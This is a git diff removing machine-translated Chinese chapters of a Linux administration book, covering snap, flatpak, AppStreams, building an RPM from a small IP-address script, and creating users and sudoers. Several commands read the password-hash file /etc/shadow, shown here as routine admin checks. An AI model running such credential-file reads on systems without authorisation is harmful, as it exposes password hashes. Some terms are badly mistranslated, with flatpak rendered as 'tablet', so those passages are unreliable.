saved`命令: - -![Figure 3.12 – Showing the saved snapshots](img/B13196_03_12.jpg) - -图 3.12 -显示保存的快照 - -输出显示列表,在我们的例子中,只有一个应用被删除,第一列表示快照的 ID(`set`)。 如果需要删除快照,可以使用`snap forget`命令。 在我们的例子中,要删除 Slack 应用的快照,我们可以使用以下命令: - -![Figure 3.13 – Using the snap forget command to delete a snapshot](img/B13196_03_13.jpg) - -图 3.13 -使用 snap forget 命令删除快照 - -为了验证快照已被删除,我们再次使用`snap saved`命令,如图*图 3.23*所示。 - -快照是真正多功能的软件包,易于使用。 这种包类型是 Ubuntu 开发人员的选择,但在其他发行版中并不常用。 如果您想在 Ubuntu 以外的发行版上安装快照,请使用[https://snapcraft.io/docs/installing-snapd](https://snapcraft.io/docs/installing-snapd)中的说明并测试其全部功能。 - -现在我们去测试另一个新成员,*flatpaks*。 我们的测试发行版将是 CentOS 8,但请记住,平板电脑在安装后,在基于 ubuntu 的发行版(如 Linux Mint 和基本操作系统)、基于 debian 的发行版(如 PureOS 和 Endless OS)以及 Fedora 上是默认支持的。 - -### 在 CentOS 上管理 flatpak 包 - -与快照相同的,flatpaks 是运行在沙箱中的独立应用。 每个 flatpak 都包含应用所需的运行时和库。 Flatpaks 提供了对图形用户界面管理工具的全面支持,以及从**命令行接口**(**CLI**)中可以使用的全套命令。 主命令称为`flatpak`,它有几个其他内置命令可以用于包管理。 要查看所有这些,使用以下命令: - -```sh -$ flatpak - -help -``` - -下面,我们将详细介绍 flatpak 包管理的一些常用命令。 但在此之前,我们将讲几行关于 flatpak 应用如何命名以及它们如何在命令行上显示的内容。 每个应用都有一个类似于`com.company.App`的标识符。 这其中的每一部分都是为了方便识别应用及其开发者。 最后一部分标识应用的名称,就像前面标识开发应用的实体一样。这是开发者发布和交付多个应用的一种简单方法。 - -#### 添加存储库 - -为了安装应用,必须设置存储库。 flatpak 将存储库称为远程存储库,因此我们将使用这个术语来指代它们。 扁平包的主要存储库称为`flathub`。 - -在我们的 CentOS 8 机器上,flatpak 已经安装,但是我们需要添加`flathub`存储库。 我们将使用 flatpak`remote-add`命令添加,如下例所示: - -```sh -$ sudo flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo -``` - -我们使用了`- -if-not-exists`参数,如果存储库已经存在,该参数将停止命令,而不会显示错误。 一旦添加了存储库,我们就可以开始从它安装包了。 - -#### 安装平板包应用 - -要安装一个包,我们需要知道它的名称。 我们可以访问网站[https://flathub.org/home](https://flathub.org/home)并在那里搜索应用,或者我们可以使用`flatpak search`命令进行搜索。 我们将使用与快照相同的应用 Slack。 我们将搜索 Slack 如下: - -![Figure 3.14 – Using the flatpak search command to search for an application](img/B13196_03_14.jpg) - -图 3.14 -使用 flatpak search 命令搜索应用 - -该命令的输出显示 Slack 在`flathub`上可用。 因此,我们可以继续并安装它。 第一行显示了我们正在寻找的 Slack。 要安装它,我们将使用`flatpak install`命令。 在前面的命令中,存储库的名称(`remote`)被指定为`flathub`,后面是应用的全名。 安装将要求您批准安装应用所需的运行时,然后继续这个过程。 使用以下命令从`flathub`安装 Slack,并遵循屏幕上的消息: - -```sh -sudo flatpak install flathub com.slack.Slack -``` - -在 flatpak 的最新版本(从 1.2 版本开始)上,安装可以用一个简单得多的命令来执行。 在这种情况下,您只需要应用的名称,如下所示: - -```sh -$ sudo flatpak install slack -``` - -结果与前面显示的第一个`install`命令相同。 - -#### 运行、更新、删除和列出扁平包应用 - -安装应用后,您可以使用命令行,使用以下命令运行它: - -```sh -$ flatpak run com.slack.Slack -``` - -如果你想更新所有的应用和运行时,使用这个命令: - -```sh -$ sudo flatpak update -``` - -要删除一个扁平包,只需运行`flatpak uninstall`命令: - -```sh -$ sudo flatpak uninstall com.slack.Slack -``` - -要列出所有已安装的平板包应用和运行时,请使用`flatpak list`命令: - -```sh -[packt@jupiter ~]$ flatpak list -``` - -为了只查看已安装的应用,我们将使用`--app`参数: - -```sh -[packt@jupiter ~]$ flatpak list --app -``` - -上面显示的命令是 flatpak 包管理中最常用的命令。 不用说,还有许多其他的命令我们不会在这里讨论,但是您可以自由地在您的系统上查找和测试它们。 - -## CentOS 8 的应用流 - -从 RHEL 8 和 CentOS 8 开始,有两个主要的存储库可用:`BaseOS`和`AppStream`存储库。 这是针对 RHEL 和 CentOS 发行版长期以来所面临的一个老问题找到的解决方案:操作系统(`Kernel`和`glibc`库等)和所安装的应用(工具、语言等)的生命周期不同。 RHEL 和 CentOS 发行版被支持了 10 年,但是这种情况很少发生在任何其他受支持的应用上。 一些已安装的应用每隔几个月左右就会以更快的速度更新版本。 - -在引入应用流之前,CentOS 和 RHEL 使用软件集合的概念。 它与 AppStreams 的相似之处在于,它允许用户在同一系统上安装和使用不同应用的多个版本。 应用流由组件组成,这些组件可以是模块或 rpm 包。 默认情况下,它们通过`AppStream`存储库交付,不需要用户执行任何特定操作。 正如官方 RHEL 文档所描述的,模块是表示逻辑单元的包的集合。 逻辑单元可以用应用、语言包、数据库或工具来表示。 - -AppStreams 是 CentOS 默认存储库的一个很好的补充。 它们解决了应用生命周期的一个长期问题,在我们看来,它们可能代表了系统稳定性和经过良好测试的应用交付的最好的未来防护解决方案。 - -# 从源构建包 - -从来源构建是一项越来越不需要的活动。 大多数发行版已经为任何任务提供了最必要的包。 从源代码构建应用的时代早已过去。 存储库提供了数以万计的包,您可以轻松地安装它们。 - -你需要从源代码构建的两种情况是:(1)如果你需要的遗留应用不再与当前发行版一起维护和交付; (2)当你需要使用内部开发的应用时。 如果这些场景适用,您可能需要从源代码进行构建。 - -编译源代码包需要在系统上安装适当的开发工具。 在下面的示例中,我们将使用 bash 编写的简单脚本,该脚本显示到标准输出的 IP 和网络接口。 这将是我们内部开发的应用。 请记住,下面只是对构建包的一个温和的介绍。 - -在本章中,我们将打包应用作为 RPM 为我们的 CentOS 8 发行版,留下 DEB 打包作为练习,让你寻找和尝试。 由于 Ubuntu 和 Debian 拥有更大的存储库,因此从这些发行版的源代码进行构建的需求是最小的。 你也可以为 Ubuntu 构建一个快照包,因为这是现在的趋势。 详见*进一步阅读*部分。 - -## 源代码文件 - -内部的应用是一个 bash 脚本,它有一些简单的代码行来显示工作系统的 IP 地址。 查找、提取和使用 IP 地址是任何系统管理员的常见任务。 首先,你需要知道有几种方法可以找到、提取和使用 IP; 这只是其中之一。 在现代 Linux 发行版中显示 IP 地址的默认命令称为`ip`。 - -`ip`是一个强大的命令,我们不打算在这里详细讨论它。 我们将只关注在内部构建的小型 bash 脚本中显示 IP 地址所需的工具。 通常,要找到我们本地机器的 IP 地址,我们会使用以下命令: - -```sh -ip addr show -``` - -`ip addr show`命令的输出非常大,很难快速找到 IP 地址。 要使其自动化,您将需要分离 IP,这可能很困难。 我们可以使用的另一个命令是`ip route`。 - -因为这不是谈论网络,我们只会给你一个简短的一瞥为了理解我们将使用的脚本作为我们内部构建应用。默认情况下,`ip route`命令显示系统的 IP 路由表,如下截图所示: - -![Figure 3.15 – Showing the IP routing table using the ip route command](img/B13196_03_15.jpg) - -图 3.15 -使用 IP route 命令显示 IP 路由表 - -要获取路由信息,我们将使用`ip route get`命令。 为了简单起见,我们将使用它来显示到达谷歌的默认 DNS`8.8.8.8`的路由。 请记住,如果您使用不同的子网,您可以用您网络中的任何 IP 替换来自命令的谷歌的 DNS。 此外,我们将使用`awk`命令只提取相关的 IP 地址。 我们将使用 awk 的`-F`选项来确定字段分隔符,并使用 NR 变量来显示正在处理的记录总数。 - -`ip route get`命令的输出如下: - -![Figure 3.16 – The ip route get output](img/B13196_03_16.jpg) - -图 3.16 - ip 路由得到输出 - -通过分析输出,我们看到 IP 显示在`src`字符串之后。 首先显示 DNS 地址、默认网关 IP、接口名称(以`dev`字符串开头)和系统的 IP 地址,然后是 UID。 - -现在,我们将在本地保存的文件中创建脚本。 我们将进入`/Documents`目录并创建一个名为`ip-script`的新文件,使用以下命令: - -![Figure 3.17 – Creating the ip-script file](img/B13196_03_17.jpg) - -图 3.17 -创建 ip-script 文件 - -如前所述,我们将使用`awk`来提取 IP 和接口名称。 bash 脚本的代码看起来类似于下面的截图: - -![Figure 3.18 – Scripting code used in our app built in-house](img/B13196_03_18.jpg) - -图 3.18 -在我们的应用中使用的脚本代码是内部构建的 - -当然需要对前面的代码进行简短的解释,因为这是您在本书中第一次接触 bash 脚本。 每个 bash 脚本的第一行定义了运行脚本的环境。 第一行总是以`#`字符开头,然后是`!`(shebang)和环境的路径。 因为这将是一个 bash 脚本,到`/bin/bash``#!/bin/bash`的路径。 这将确保命令行解释器知道用于读取文件的语言。 - -第二行调用`printf`命令,该命令直接打印到标准输出(屏幕)。 屏幕上显示的信息写在引号之间:`"your IP is: \n"`。 `\n`表示换行符。 在显示消息之后,它将把命令行光标移到一个新行。 - -第三行是真正显示`ip route get`命令中的 IP 的行。 这将把`ip route get`命令的输出重定向到`awk`命令,而`awk`命令只从中提取 IP 地址。 我们已经在[*第 2 章*](02.html#_idTextAnchor036),*the Linux Filesystem*中向您展示了`awk`的强大功能,我们希望您已经对它有了一定的了解。 - -在我们自己开发的应用中,`awk`的使用选项如下: - -* 选项`-F`用于确定`awk`将首先在命令的输出中查找的字段分隔符。 我们注意到,在`ip route get`命令的输出中,IP 显示在`src`字符串之后,我们将使用`src`作为字段分隔符,后跟一个空格:`-F"src "` -* 然后我们将使用内置变量`NR`,它显示正在处理的记录总数。 因为我们只有一行,所以我们分配了`NR==1`,然后是提取命令 -* 为了提取 IP,我们使用了`awk`的 split 函数。 其语法如下:`split(SOURCE, DESTINATION, DELIMITER)`。 在本例中,源是`$2`,它表示第二列。 您可能已经知道,`awk`将文件视为由行和列组成。 列定义为由空格包围的字符。 因此,从字段分隔符开始,第二列是表示 IP 地址的空格之间的字符串。 目的地是我们称为`ip`的变量,分隔符是一个空格: - - ```sh - 'NR==1{split($2,ip," ");print ip[1]}' - ``` - -* 最后,我们使用`print ip[1]`命令打印目的地。 由于`NR`变量被限制为一条记录,因为只有一行,命令将引用它。 因此,整行代码如下: - - ```sh - ip route get 8.8.8.8 | awk -F"src " 'NR==1{split($2,ip," ");print ip[1]}' - ``` - -通过在本地运行脚本,您将得到以下输出,这正是我们所寻找的。 要运行这个脚本,我们首先需要使它可执行,然后运行它: - -![Figure 3.19 – Running the script after making it executable](img/B13196_03_19.jpg) - -图 3.19 -使脚本可执行后运行脚本 - -现在源代码可以根据我们的需要工作了,我们可以开始打包它并为发布做好准备。 在下面的文章中,我们将添加一个开源许可证并将其打包为 RPM。 - -## 准备源代码 - -作为一个常见的规则,软件应该总是与软件许可证一起发布。 该许可证是在软件附带的`LICENSE`文件中编写的。 对于我们的内部应用,我们将使用 GPLv3 许可证。 我们将创建一个包含以下文本的`LICENSE`文件: - -![Figure 3.20 – The GPLv3 license for our app](img/B13196_03_20.jpg) - -图 3.20 -我们应用的 GPLv3 许可 - -在下面,我们需要将所有的文件放在一个目录中,并将它们归档: - -1. Move all the files to a single directory and archive the app for distribution: - - ![Figure 3.21 – Moving all files into one directory](img/B13196_03_21.jpg) - - 图 3.21 -将所有文件移动到一个目录 - -2. 现在所有的文件都在同一个目录中,你可以将它们归档到一个 tar 包中: - -![Figure 3.22 – Archiving the app in a single tarball](img/B13196_03_22.jpg) - -图 3.22 -将应用存档到一个 tar 包中 - -接下来,我们需要准备和设置用于构建 RPM 的 CentOS 环境。 我们需要确保所有的附加工具都安装好了。 - -## 设置环境 - -首先,我们需要确保`rpm build`安装在系统上。 要检查它是否安装,可以使用`rpmbuild - -showrc`命令。 输出将是包含构建环境细节的大量数据。 如果你得到一个错误说*命令未找到*,你将必须使用以下命令安装它: - -```sh -$ sudo yum install rpm-build -``` - -在构建 RPM 之前,请考虑以下几点。 - -重要提示 - -构建 rpm 应该总是由普通的、无特权的用户来完成。 它不应该使用根用户完成! - -接下来,我们将创建 RPM 构建目录。 - -### 创建 RPM 构建目录 - -在安装`rpmbuild`之后,您需要在主目录中创建文件和目录结构。 然后,您必须创建`.rpmmacros`文件来覆盖任何默认位置设置。 要自动执行此操作,请安装`rpmdevtools`包,然后运行`rpmdev-setuptree`命令: - -![Figure 3.23 – Installing rpmdevtools and running rpmdev-setuptree](img/B13196_03_23.jpg) - -图 3.23 -安装 rpdevtools 并运行 rpmdev-setuptree - -如果运行`ls -la`命令,您将看到`.rpmmacros`文件是在您的主目录中自动创建的。 另外,`rpmbuild`目录的结构已经创建: - -![Figure 3.24 – Structure of the rpmbuild directory](img/B13196_03_24.jpg) - -图 3.24 - rpmbuild 目录的结构 - -我们前面安装的包为 RPM 打包提供了一些有用的工具。 这些实用程序可以用下面的命令列出: - -```sh -rpm -ql rpmdevtools | grep bin -``` - -如前所述,RPM 打包工作区由五个目录组成,每个目录都有特定的用途: - -* `BUILD`-`%buildroot`目录是在构建包时创建的。 -* 包含包含二进制 rpm 的不同架构的子目录。 -* `SOURCES`-包含压缩源代码存档。 -* `SPECS`-存储`SPEC`文件的位置。 -* `SRPMS`-当创建 SRPM 而不是二进制 RPM 时,文件被存储在这里。 - -下面,我们将详细介绍如何编辑应用的`SPEC`文件。 - -### 定义 SPEC 文件 - -`SPEC`文件是`rpmbuild`工具用于创建 RPM 的配方的一种。 它包含了定义为*序言*和*正文*的几个部分的说明。 要创建一个新的`SPEC`文件,使用`rpmdev-newspec`命令: - -![Figure 3.25 – The rpmdev-newspec command to create a new SPEC file](img/B13196_03_25.jpg) - -图 3.25 -使用 rpmdev-newspec 命令创建一个新的 SPEC 文件 - -如果我们使用`cat`命令检查该文件,我们将看到它包含几个指令。 现在你可以根据你的应用编辑`SPEC`文件。下面是我们应用使用的详细信息。这些详细信息可以在 GitHub 知识库中找到。 - -接下来要做的是使用下面的命令将之前创建的 tarball 复制到您的`~/rpmbuild/SOURCES/`目录中: - -```sh -$ cp ~/Documents/ip-app-0.1.tar.gz ~/rpmbuild/SOURCES/ -``` - -在前面的示例中,我们使用了文件的绝对路径,您应该根据文件的目的地更改这些路径。 - -下一步是构建应用,以便在任何基于 rpm 的发行版上使用,比如 Fedora、CentOS 或 RHEL。 - -### 从 SPEC 文件构建源 RPM 和二进制 RPM - -现在`SPEC`文件已经创建,我们可以使用`rpmbuild`命令使用`-bs` 和`-bb`选项构建 RPM 文件。 `-bs`选项代表*构建源*的,`-bb`选项代表*构建二进制*。 - -要构建一个源 RPM,使用以下命令: - -![Figure 3.26 – Building a source RPM](img/B13196_03_26.jpg) - -图 3.26 -构建源 RPM - -要构建二进制 RPM,有两种不同的场景。 一种是从 SRPM(源 RPM)重新构建它,第二种是从`SPEC`文件构建它。 要从源 RPM 重新编译,使用以下命令: - -```sh -$ rpmbuild -bs ip-app.spec -``` - -要从`SPEC`文件构建一个包,使用以下命令: - -```sh -$ rpmbuild -bb ip-app.spec -``` - -现在已经构建了 RPM。 位置为`/home/packt/rpmbuild/RPMS/noarch`: - -![Figure 3.27 – Location of the newly built RPM](img/B13196_03_27.jpg) - -图 3.27 -新建 RPM 的位置 - -构建 RPM 是一项复杂的任务。 我们向您展示的是一种非常简单的逐步方法,可以为显示 IP 和接口名称的 bash shell 脚本创建 RPM 文件。 如果您想构建具有特定依赖项的特定 C 或 Python 应用,那么这个任务将会稍微复杂一些。 - -# 总结 - -在本章中,您学习了如何在 Ubuntu 和 CentOS 中使用包,但是学到的技能将帮助您在任何 Linux 发行版中管理包。 您已经学习了如何使用`.deb`和`.rpm`包,以及诸如 flatpaks 和 snaps 等较新的包。 您将在本书的每一章以及作为系统管理员的日常工作中使用这些技能。 - -此外,我们还介绍了从一个简单的 bash 脚本创建`rpm`文件的过程,介绍了构建 RPM 包的过程。 - -在下一章中,我们将向您展示如何管理用户帐户和权限,并向您介绍一般概念和特定工具。 - -# 问题 - -现在你已经对如何管理软件包有了一个清晰的概念,这里有一些练习将进一步帮助你的学习。 - -1. 列出系统上安装的所有软件包。 -2. 找到您喜欢的开源程序的源代码,并从源代码构建它。 -3. 在你的 Ubuntu 系统中添加对平板电脑的支持。 -4. 在您的 CentOS 系统上添加对快照的支持。 -5. 测试其他发行版并使用它们的包管理器。 我们建议您尝试 openSUSE,如果您有信心,可以尝试 Arch Linux。 - -这次没有提示,因为我们希望您了解 Linux 上包管理的所有起伏。 - -# 进一步阅读 - -有关本章内容的更多资料,请浏览以下连结: - -* Red Hat 8 文档:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/installing_managing_and_removing_user-space_components/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/installing_managing_and_removing_user-space_components/index) -* Snapcraft。 io 官方文档:[https://snapcraft.io/docs](https://snapcraft.io/docs) -* Flatpak 文档:[https://docs.flatpak.org/en/latest/](https://docs.flatpak.org/en/latest/)** \ No newline at end of file diff --git a/docs/master-linux-admin/04.md b/docs/master-linux-admin/04.md deleted file mode 100644 index d82b1828..00000000 --- a/docs/master-linux-admin/04.md +++ /dev/null @@ -1,1500 +0,0 @@ -# 四、管理用户和组 - -Linux 是一个多用户、多任务操作系统,这意味着多个用户可以在共享平台资源的同时访问操作系统,内核同时独立地为每个用户执行任务。 Linux 提供了必要的隔离和安全机制,以避免多个用户访问或删除彼此的文件。 - -当多个用户访问系统时,权限就起作用了。 我们将了解**权限**如何在 Linux 中工作,以及它们的基本读、写和执行原则。 我们将向您介绍具有完全访问操作系统资源权限的*超级用户*(`root`)帐户的概念。 - -在此过程中,我们将对所学的主题采取动手实践的方法,通过实际例子进一步加深对关键概念的吸收。 本章涵盖以下主题: - -* 管理用户 -* 管理组 -* 管理权限 - -我们希望在本章结束时,您将熟悉用于创建、修改和删除用户和组的命令行实用程序,同时熟练地处理文件和目录权限。 - -让我们快速看一下学习本章所必需的技术要求。 - -# 技术要求 - -我们需要一个可以工作的 Linux 发行版安装在虚拟机(**VM**)或桌面平台上。 如果你还没有一个,[*第 1 章*](01.html#_idTextAnchor014)*安装 Linux,*将带你完成相关的过程。 在本章中,我们将使用 Ubuntu 或 CentOS,但使用的大多数命令和示例都适用于任何其他 Linux 平台。 - -# 管理用户 - -在这个上下文中,用户是使用计算机或系统资源的任何人。 在最简单的形式中,Linux 用户*或*用户帐户是被一个名称和一个**惟一标识符**,被称为【显示】UID。** - - *从纯技术角度来看,在 Linux 中我们有以下几种类型的用户: - -* **普通**(或普通)用户—通用的日常用户帐户,主要适用于个人使用和常见的应用和文件管理任务,对系统范围内的资源具有有限的访问权限。 一个普通用户帐户通常有一个*登录*shell 和一个*home*目录。 -* **系统**用户——这些用户与普通用户帐户相似,除了他们可能没有登录 shell 或主目录。 系统帐户通常分配给后台应用服务,主要是出于安全原因和限制与相关资源关联的攻击表面——例如,处理公共请求的 web 服务器守护进程应该作为系统帐户运行,理想情况下不需要登录或`root`特权。 因此,通过 web 服务器暴露的可能的漏洞将严格隔离于关联系统帐户的有限操作领域。 -* **超级用户**-这些是特权用户帐户,具有对系统资源的完全访问权限,包括创建、修改和删除用户帐户的权限。 `root`用户是超级用户的一个例子。 - -在 Linux 操作系统中,只有具有`sudo`权限的`root`用户或用户(**sudoers**)才能创建、修改或删除用户帐户。 - -## 理解 sudo - -在 Linux 中,`root`用户是默认的超级用户帐户,它可以在系统上执行任何操作。 理想情况下,出于安全和安全方面的原因,通常应该避免在系统上充当`root`。 在`sudo`中,Linux 提供了一种机制*将*的普通用户帐户提升为超级用户特权,并使用了额外的安全层。 这样,通常使用`sudo`用户而不是`root`用户。 - -`sudo`是一个命令行实用程序,允许被允许的用户使用超级用户或其他用户的安全特权执行命令(取决于本地系统的安全策略)。 `sudo`最初代表*超级用户做*,因为它最初实现了只作为超级用户,但后来扩展到不仅支持超级用户,还支持其他(受限的)用户模拟。 因此,它也被称为*替代用户做*。 然而,由于在 Linux 管理任务中经常使用,它被认为是*超级用户执行*。 - -Linux 中大多数用于管理用户的命令行工具都需要`sudo`特权,除非相关任务由`root`用户执行。 如果我们想避免使用根上下文,那么在我们拥有一个具有超级用户特权的用户帐户之前,我们不能真正地继续本章的其余部分——特别是创建一个用户。 所以,让我们先来看看这个“先有鸡还是先有蛋”的情况。 - -大多数 Linux 发行版在安装期间除了`root`之外,还创建了一个具有超级用户特权的额外用户帐户。 如前所述,其原因是为高架操作提供额外的安全层。 检查用户帐户是否具有`sudo`权限的最简单方法是在终端中运行以下命令,同时使用相关用户帐户登录: - -```sh -sudo -v -``` - -根据`sudo`手册(`man sudo`),`-v`选项将导致`sudo`更新用户的缓存凭证,并在缓存凭证过期时对用户进行身份验证。 - -如果用户(例如`julian`)在本地机器上没有超级用户特权(例如`neptune`),上述命令将产生以下(或类似)错误: - -```sh -Sorry, user julian may not run sudo on neptune. -``` - -在最近的 Linux 发行版中,`sudo`命令的执行通常会在有限的时间内授予更高的权限。 例如,Ubuntu 有 15 分钟的`sudo`提升跨度,在此之后,`sudo`用户将需要再次认证。 如果在`sudo`缓存凭据超时期间执行`sudo`的后续调用,可能不会提示输入密码。 - -如果我们没有默认的超级用户帐户,我们总是可以使用根上下文来创建新用户(参见下一章)并将其提升为**sudoer**特权。 我们将在本章后面的*创建超级用户*部分了解更多。 - -现在,让我们看看如何创建、修改和删除用户。 - -## 创建、修改、删除用户 - -在本节中,我们将探索一些命令行工具和一些用于管理用户的常见任务。 在 Ubuntu 和 CentOS 中显示了示例命令和过程,但同样的原则适用于任何其他 Linux 发行版。 一些用户管理**命令行界面**(【显示】**CLI)工具可能不同或可能不是在特定的 Linux 平台上(例如,`useradd`是不可以在高山应该使用 Linux 和`adduser`相反)。 请查看您选择的 Linux 发行版的文档中对应的命令。** - -### 创建用户 - -要创建用户,我们可以使用`useradd`或`adduser`命令,尽管在某些 Linux 发行版(例如 Debian 或 Ubuntu)上,推荐的方法是使用`adduser`命令而不是低级的`useradd`实用程序。 我们将在本节中介绍这两种方法。 - -`adduser`是一个使用`useradd`的 Perl 脚本—基本上是`useradd`命令的一个扩展—具有用户友好的引导配置。 这两个命令行工具在 Ubuntu 和 CentOS 中都是默认安装的。 让我们简要地看一下这些命令。 - -#### 使用 useradd 创建用户 - -`useradd`命令的语法为,如下所示: - -```sh -useradd [OPTIONS] USER -``` - -在最简单的调用中,以下命令创建一个用户帐户(`julian`): - -```sh -sudo useradd julian -``` - -用户信息存储在`/etc/passwd`文件中。 以下是`julian`的相关用户数据: - -```sh -cat /etc/passwd | grep julian -``` - -在我们的例子中,输出如下: - -![Figure 4.1 – The user record created with useradd](img/B13196_04_01.jpg) - -图 4.1 -使用 useradd 创建的用户记录 - -让我们分析一下相关的用户记录。 每个条目由冒号(`:`)分隔,列在这里: - -* `julian`:用户名 -* `x`:加密的密码(密码散列存储在`/etc/shadow`中) -* `1001`:UID -* `1001`:用户**组 ID**(**组 ID**) -* (在本例中,为空)**General Electric Comprehensive Operating Supervisor**(**GECOS**)字段(例如,显示名称)将在下面解释 -* `/home/julian`:用户主文件夹 -* `/bin/sh`: The default login shell for user - - 重要提示 - - GECOS 字段是一个以逗号分隔的属性字符串,反映关于用户帐户的一般信息(例如,真实姓名; 公司; 电话号码)。 在 Linux 操作系统中,GECOS 字段是用户记录中的第五个字段。 更多信息见[https://en.wikipedia.org/wiki/Gecos_field](https://en.wikipedia.org/wiki/Gecos_field)。 - -我们也可以使用`getent`命令来检索上述用户信息,如下所示: - -```sh -getent passwd julian -``` - -要查看与用户关联的 UID(`uid`)、GID(`gid`)和组成员关系,可以使用`id`命令,如下所示: - -```sh -id julian -``` - -这个命令给我们以下输出: - -![Figure 4.2 – The UID information](img/B13196_04_02.jpg) - -图 4.2 - UID 信息 - -通过简单调用`useradd`,该命令使用一些直接默认值(如枚举值)创建用户(`julian`),而其他与用户相关的数据为空—例如,我们还没有为用户指定全名或密码。 另外,虽然主目录有一个默认值(例如,`/home/julian`),但除非使用`-m`或`--create-home`选项调用`useradd`命令,否则不会创建实际的文件系统文件夹,如下所示: - -```sh -sudo useradd -m julian -``` - -如果没有主目录,常规的用户将无法将其文件保存在系统的私有位置。 另一方面,有些系统帐户可能不需要主目录,因为它们没有登录 shell。 例如,数据库服务器(例如,PostgreSQL)可能会与非根系统帐户(例如,`postgres`),只需要访问数据库资源在特定位置(例如,`/var/lib/pgsql`),通过控制其他许可机制(例如,**安全增强型 Linux**(**SELinux**)。 - -对于我们的普通用户,如果我们还想指定一个全名(display name),命令会变成这样: - -```sh -sudo useradd -m -c "Julian" julian -``` - -`useradd`的`-c, --comment`选项参数需要一个*注释*,也称为**GECOS**字段(我们的用户记录中的第五个字段),有多个逗号分隔的值。 在本例中,我们指定全名(例如`Julian`)。 有关更多信息,请查看`useradd`手册(`man useradd`)或`useradd --help`。 - -用户仍不会有密码,因此,就没有办法为用户登录(例如,通过一个**图形用户界面(GUI**)或**【显示】Secure Shell (SSH****)。 要为`julian`创建密码,我们调用`passwd`命令,如下所示:****** - -```sh -sudo passwd julian -``` - -你应该看到如下的输出: - -![Figure 4.3 – Creating or changing the user password](img/B13196_04_03.jpg) - -图 4.3 -创建或更改用户密码 - -`passwd`命令将提示输入新用户的密码。 设置了密码后,将有一个新条目添加到`/etc/shadow`文件中。 该文件存储每个用户的安全密码散列(不是密码!)。 只有超级用户可以访问该文件的内容。 以下是为用户`julian`检索相关信息的命令: - -```sh -sudo getent shadow julian -``` - -还可以使用以下命令: - -```sh -sudo cat /etc/shadow | grep julian -``` - -设置好密码后,一般情况下用户可以登录系统(通过 SSH 或 GUI)。 如果 Linux 发行版有 GUI,新用户将显示在登录屏幕上。 下面是 Ubuntu 的截图: - -![Figure 4.4 – The new user login in Ubuntu](img/B13196_04_04.jpg) - -图 4.4 -新用户登录 Ubuntu - -如前所述,通过`useradd`命令,我们可以对创建用户帐户的方式进行低级粒度控制,但有时我们可能更喜欢用户友好的方法。 输入`adduser`命令。 - -#### 使用 adduser 创建用户 - -`adduser`命令是`useradd`的 Perl 包装器。 `adduser`命令的语法如下所示: - -```sh -adduser [OPTIONS] USER -``` - -`sudo`可能提示输入超级用户密码。 `adduser`将提示输入新用户的密码和其他用户相关信息(如图*图 4.5*所示)。 - -我们用`adduser`创建一个新用户账号`julian`,如下: - -```sh -sudo adduser julian -``` - -上面的命令输出如下: - -![Figure 4.5 – The adduser command](img/B13196_04_05.jpg) - -图 4.5 - adduser 命令 - -在 CentOS 中,前面对`adduser`命令的调用将简单地运行,而不提示用户输入密码或任何其他信息。 - -我们可以看到`/etc/passwd`中与`getent`相关的用户条目如下: - -```sh -getent passwd julian -``` - -下面是输出: - -![Figure 4.6 – Viewing user information with getent](img/B13196_04_06.jpg) - -图 4.6 -使用 getent 查看用户信息 - -在前面的示例中,我们创建了一个普通用户帐户。 管理员或超级用户也可以将普通用户的权限提升为超级用户。 让我们来看看。 - -### 创建一个超级用户 - -当一个普通用户被赋予运行`sudo`的能力时,他们就成为超级用户。 让我们假设通过*创建用户*一节中所示的任何示例创建了一个常规用户。 - -将用户提升为超级用户(或*sudoer*)需要一个`sudo`组成员。 在 Linux 中,`sudo`组是为具有更高权限或`root`权限的用户保留的系统组。 要使用户`julian`成为 sudoer,只需将用户添加到`sudo`组,如下所示: - -```sh -sudo usermod -aG sudo julian -``` - -`usermod`的`-aG`选项指示命令将用户`(-a, --append`)附加到指定的组`(-G, --group`中——在本例中是`sudo`。 - -要验证我们的用户现在是 sudoer,首先通过运行以下命令确保相关的用户信息反映了`sudo`成员资格: - -```sh -id julian -``` - -这给了我们以下输出: - -![Figure 4.7 – Looking for the sudo membership of a user](img/B13196_04_07.jpg) - -图 4.7 -查找用户的 sudo 成员 - -输出显示`groups`标记中的`sudo`组成员身份(GID)为`27(sudo)`。 - -验证用户`julian`的`sudo`访问权限,运行如下命令: - -```sh -su - julian -``` - -上面的命令提示输入用户`julian`的密码。 成功的登录通常会验证超级用户上下文。 或者,用户(`julian`)可以在其终端会话中运行`sudo -v`命令来验证`sudo`特权。 有关超级用户特权的更多信息,请参见本章前面的*理解 sudo*一节。 - -由于创建了多个用户,系统管理员可能希望查看或列出系统中的所有用户。 在下一节中,我们将提供一些完成此任务的方法。 - -#### 查看用户 - -超级用户有几种方法可以查看系统中配置的所有用户。 如前所述,用户信息存储在`/etc/passwd`和`/etc/shadow`文件中。 除了简单地查看这些文件外,我们还可以解析它们并使用下面的命令只提取用户名: - -```sh -cat /etc/passwd | cut -d: -f1 | less -``` - -或者,我们可以解析`/etc/shadow`文件,如下所示: - -```sh -sudo cat /etc/shadow | cut -d: -f1 | less -``` - -在前面的命令中,我们从相关文件中读取内容(使用`cat`)。 接下来,我们将结果管道到基于分隔符的解析(在`:`分隔符上使用`cut`),并选择第一个字段`(-f1`。 最后,我们使用`less`命令选择结果的分页显示。 - -注意对`shadow`文件使用`sudo`,因为只有超级用户才能访问,这是由于密码散列数据的敏感性。 或者,我们可以使用`getent`命令来检索用户信息。 - -下面的命令列出了系统中配置的所有用户: - -```sh -getent passwd -``` - -上述命令读取的是`/etc/passwd`文件。 或者,我们可以从`/etc/shadow`中检索相同的信息,如下所示: - -```sh -sudo getent shadow -``` - -对于这两个命令,我们可以进一步将`getent`输出管道到`| cut -d: -f1`,只列出用户名,如下所示: - -```sh -sudo getent shadow | cut -d: -f1 | less | column -``` - -输出类似如下(摘录): - -![Figure 4.8 – Viewing usernames](img/B13196_04_08.jpg) - -图 4.8 -查看用户名 - -创建新用户后,管理员或超级用户可能需要更改某些与用户相关的信息,例如密码、密码过期、全名或登录 shell。 接下来,我们来看一下完成这项任务的一些最常见的方法。 - -### 修改用户 - -超级用户可以通过`usermod`命令修改用户设置,语法如下: - -```sh -usermod [OPTIONS] USER -``` - -本节中的示例适用于我们之前使用`useradd`命令的最简单调用创建的用户(`julian`)。 如前一节所述,`/etc/passwd`中的相关用户记录没有用户的全名,用户也没有密码。 - -让我们为我们的用户(`julian`)更改以下设置: - -* 